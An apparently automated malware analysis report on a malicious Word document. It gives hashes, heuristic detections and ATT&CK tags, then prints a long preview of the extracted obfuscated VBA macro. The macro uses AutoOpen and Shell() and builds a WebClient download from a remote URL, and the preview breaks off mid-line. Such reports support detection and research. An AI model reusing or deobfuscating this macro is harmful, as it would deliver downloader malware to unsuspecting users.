Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 baf01275b874c046…

MALICIOUS

Office (OLE)

268.5 KB Created: 2017-12-04 22:47:00 Authoring application: Microsoft Office Word First seen: 2017-12-09
MD5: 0e5d2902bbbb951f1ff03e46209701d0 SHA-1: 8af2947eb8096ee4ceba2dc6c947e95080328716 SHA-256: baf01275b874c04687f84d78451e41231b31bfc0e71995e124830ba63379fedd
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, indicating an attempt to execute external code. The ClamAV heuristic also flags it as obfuscated malware. The macro's obfuscated nature and use of Shell() strongly suggest it's designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6389653-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6389653-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 132286 bytes
SHA-256: 73ba42c203507aea9be2687689edad7de5f5285b93b3b8db993dd170c59b9e56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aDiUNdsHmnSl"
Function pijpDiwRq()
ujCwK = Array(Trim(Len("vQzAHMr" + "rhXiVTCWzDo")), Trim(Len("YdwraVX" + "RSNbBYXvPLhEz")), Trim(Len("CBiMiBZ" + "TlspdSTIZmoALY")), Trim(Len("vdzwHGlWjG" + "bvMOmVRUzc")), Trim(Len("LuFbHmuQzpdh" + "ilFSphOJjHqY")), Trim(Len("KzTirZrMSDqfwz" + "THjzNifAQzi")), Trim(Len("OZbnODMbu" + "QwEpWQiOmrhmqc")), Trim(Len("sKRfwCjMGdm" + "PbcmYjWqitXHP")))
SWidc = Mid("ASTc6IpWystepaB+paBm.NepaB+paBt.WebClientpaB+paB;v2S+v2SGlLpau6A3tm5MDiwXzDwFUFb6AOiw", 9, 53)
Wdwkq = Array(Trim(Len("pOzzQbvSDuTv" + "TQiImnifFqNd")), Trim(Len("TPnFnvRHpsoF" + "hwEXdQRqFXoupf")), Trim(Len("AjXmWiIji" + "HXicdYtDnGhaiN")), Trim(Len("MvOrzKwQAHGVCj" + "ZQaZWsmNcz")), Trim(Len("rBZjZBKoJjuoim" + "HdVWCrTU")), Trim(Len("RAIqEahmsETz" + "RhFLNakfbvnNl")), Trim(Len("sFwCXjsR" + "sTkjCIwaTL")), Trim(Len("LoRritjBq" + "VcTQojv")))
BjDUOkjRj = Array(Trim(Len("BMnkbjwMW" + "vwwthlzMjZSnK")), Trim(Len("JFUmszn" + "PjBWZVBD")), Trim(Len("DFjqckcIwvLXq" + "NCibWOM")), Trim(Len("WFljPsLMbK" + "hPhaOjUsdvE")), Trim(Len("mYjnUqufofi" + "iEvUjzkTBrJl")), Trim(Len("bUvBWiZSdzH" + "ErVhirBjwvJl")), Trim(Len("IjKkauPvHsWwiR" + "JQBEnlfFPlWzHE")), Trim(Len("jKJBOBOiCFso" + "wwiAZFWhuEwOcb")))
butEaz = Array(Trim(Len("VJqjMhNQDwtz" + "DntKVJlKkkrkS")), Trim(Len("oMwqAREAvckv" + "slaYaokUOL")), Trim(Len("ClWYkZzz" + "AZDEIshmCrRZan")), Trim(Len("ZJLQviMZAonPv" + "QWdlBVThWQi")), Trim(Len("zRWulbzd" + "aNiDLnzCQUcmGm")), Trim(Len("nnZSZsnvio" + "uCGCLSRhpIui")), Trim(Len("hTiFvGUqfBGwC" + "EGnSzObtzwO")), Trim(Len("JVZzNsEj" + "GNizbUtOBAEJ")))
lhSjt = Mid("8MPTp6i38h7FSvcpaB+p'+'aBatch{write-paB+paBhost v2S+'+'v2SGlpaB+paBLpaB+paB_.ExpaB+paBceppaB+paFMsH08O0svzt530wA9fMKPa7", 15, 81)
rGdaHh = Array(Trim(Len("wEvIqZLMpcDuui" + "zvwiGQDWZBizmF")), Trim(Len("mlaTjwJj" + "XnmtXWKbzvFDRu")), Trim(Len("fvhVHIZZGi" + "RUbwzpMwKTdJw")), Trim(Len("rGAqAIV" + "GnoQocqwNjOhE")), Trim(Len("ABvPrTkACljRP" + "ZiGWUaN")), Trim(Len("JjAjIMGzuRwBG" + "vkRBGGlDhWMoYi")), Trim(Len("sMicLrMOHL" + "uEqRTOvZnW")), Trim(Len("TTHCFBi" + "TnbXCFUYuI")))
YzFaO = Array(Trim(Len("MbCpvUOnVirmz" + "RinNtStwsESXth")), Trim(Len("wwJzUIwuYzk" + "zkfqNiVcjO")), Trim(Len("KqvOizWXajJZ" + "hmcqTnOPJzvO")), Trim(Len("OFtXFwhJ" + "IZtPzCaKooKtJa")), Trim(Len("fItzWBt" + "AWjQiCbLrcidDw")), Trim(Len("pMpwJHD" + "EiqswFimz")), Trim(Len("ZtsOlwHMc" + "RawzjEDnh")), Trim(Len("jswDiln" + "iGJplOdC")))
FDiIjZPYwIS = Array(Trim(Len("ACBiNBpf" + "LrPwuBPjjZPdb")), Trim(Len("XlhtITNKi" + "fZDwlzv")), Trim(Len("VFjXffCKhWjcYc" + "mizjIhLbAI")), Trim(Len("RUzQvldQH" + "kzFBrzmriF")), Trim(Len("CARUoRnRJif" + "RNhMQbvwI")), Trim(Len("DBiriQjZkW" + "mPTjwHT")), Trim(Len("wzrEknoJlVQjH" + "hzPpwnWiku")), Trim(Len("LfwOjTUb" + "JWMzuDqG")))
vfrzs = Mid("XwwpaB+paBwpaB+paB.academyopaB+paBfpaB+paBprpaB+paBv2S+v2SocurpaB+paBepaBv2S+v2S+paBmpaB+v2S+v2Spa'+'Bent.cpaB+paBom/paB+paBIHEdpaB+paBn/,paB+paBhpaa7XfN3cp9szPJnbWA3hNbhAEi", 2, 147)
iGtOGiazqZ = Array(Trim(Len("bbsrwilB" + "irIsBvFujjw")), Trim(Len("jzIziWIbpiVjs" + "LpLmNLCADwB")), Trim(Len("EOkqiwFWrbjt" + "HcZozVcza")), Trim(Len("QjtTlmjvMwwS" + "rzAYaWjkFSYFic")), Trim(Len("DbYldfUH" + "dUkIjXzRpiipz")), Trim(Len("BdqzKQUNDJYrlX" + "oOXsKvGl")), Trim(Len("DiUHQAuWEiW" + "mjJqVQQa")), Trim(Len("olaGATLzoAvr" + "vcwMwCPBn")))
KnQMjnFjuZf = Array(Trim(Len("ETmwSiWQGKjTPN" + "uYIpvEBwIwKKkS")), Trim(Len("swQkjaXPNQrPMJ" + "ouJPCVuALtCXiz")), Trim(Len("XlwLRkDf" + "VXJvZDopmOKP")), Trim(Len("UQZzwFq" + "DtSEsGRBrKl")), Trim(Len("buiMzbHEN" + "PmsWRilTowoD")), Trim(Len("iqqjzXnuD" + "BZalNwUzmQ")), Trim(Len("dfMVojPYW" + "aXbzVIuJhZpL")), Trim(Len("rwqwXVTAC" + "zBKiLIoYWhmbC")))
cPwciWbN = Array(Trim(Len("zHjHlTv" + "JOUzCmqnFFXOL")), Trim(Len("wSBwpRhRRLOuV" + "RQSoGhB")), Trim(Len("zLDrOnVsuKpKIN" + "miiIrwI")), Trim(L
... (truncated)

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